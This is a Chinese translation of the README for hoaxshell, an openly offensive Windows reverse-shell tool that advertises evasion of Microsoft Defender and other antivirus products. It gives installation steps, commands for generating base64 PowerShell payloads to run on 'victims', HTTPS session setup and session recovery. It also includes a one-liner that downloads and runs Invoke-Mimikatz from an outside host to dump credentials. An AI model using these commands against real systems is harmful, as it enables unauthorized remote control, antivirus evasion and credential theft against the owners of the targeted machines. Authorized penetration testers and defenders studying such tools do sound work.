t3l3machus/hoaxshell

目的

hoaxshell 是一种非常规的 Windows 反向 shell,目前未被 Microsoft Defender 和可能的其他 AV 解决方案检测到,因为它完全基于 http(s) 流量。该工具易于使用,它生成自己的 PowerShell 有效负载并支持加密 (ssl)。
到目前为止,它已经在完全更新的Windows 11 企业版Windows 10 专业版盒子上进行了测试(请参阅视频和屏幕截图)。

视频演示

截图

hoaxshell:Windows平台反向Shell工具 | 支持SSL加密 | 生成PowerShell - 图1
在此处查找更多屏幕截图。

安装

  1. git clone https://github.com/t3l3machus/hoaxshell
  2. cd ./hoaxshell
  3. sudo pip3 install -r requirements.txt
  4. chmod +x hoaxshell.py

用法

作为避免检测的一种手段,每次启动脚本时,hoaxshell 都会自动为进程中使用的自定义 http 标头的会话 ID、URL 路径和名称生成随机值。生成的有效负载仅适用于为其生成的实例。
使用该-g选项绕过此行为并重新建立活动会话或使用新的 hoaxshell 实例重用过去生成的有效负载。

通过 http 的基本 shell 会话

  1. sudo python3 hoaxshell.py -s <your_ip>

当你运行 hoaxshell 时,它会生成自己的 PowerShell 有效负载,供你复制并注入到受害者身上。
默认情况下,为方便起见,有效负载采用 base64 编码。
如果您需要原始负载,请执行“rawpayload”提示命令或使用“-r”参数启动 hoaxshell。在受害者上执行有效负载后,您将能够针对它运行 PowerShell 命令。

加密的 shell 会话(https)

  1. # Generate self-signed certificate:
  2. openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
  3. # Pass the cert.pem and key.pem as arguments:
  4. sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

由于禁用 ssl 证书验证的附加代码块,生成的 PowerShell 有效负载的长度将更长。

抓取会话模式

如果您不小心关闭了终端、断电或其他情况,您可以在抓取会话模式下启动 hoaxshell,它会尝试重新建立会话,因为有效负载仍在受害机器上运行。

  1. sudo python3 hoaxshell.py -s <your_ip> -g

重要提示:确保使用与您尝试恢复的会话相同的设置(http/https、端口等)启动 hoaxshell。

限制

如果您执行启动交互式会话的命令,shell 将会挂起。例子:

  1. # this command will execute succesfully and you will have no problem:
  2. > powershell echo 'This is a test'
  3. # But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
  4. > powershell
  5. # In the same manner, you won't have a problem executing this:
  6. > cmd /c dir /a
  7. # But this will cause your hoaxshell to hang:
  8. > cmd.exe

因此,例如,如果您想通过 hoaxshell 运行 mimikatz,则需要调用以下命令:

  1. hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

长话短说,您必须小心不要运行在 hoaxshell powershell 上下文中启动交互式会话的 exe 或 cmd

消息

31/08/2022- 添加了-i生成 PS 有效负载的选项,调整为使用“Invoke-RestMethod”而不是“Invoke-WebRequest”实用程序,因此现在用户可以选择(感谢这个问题)。
我还修复了提示中存在的错误(它有时会弄乱路径)。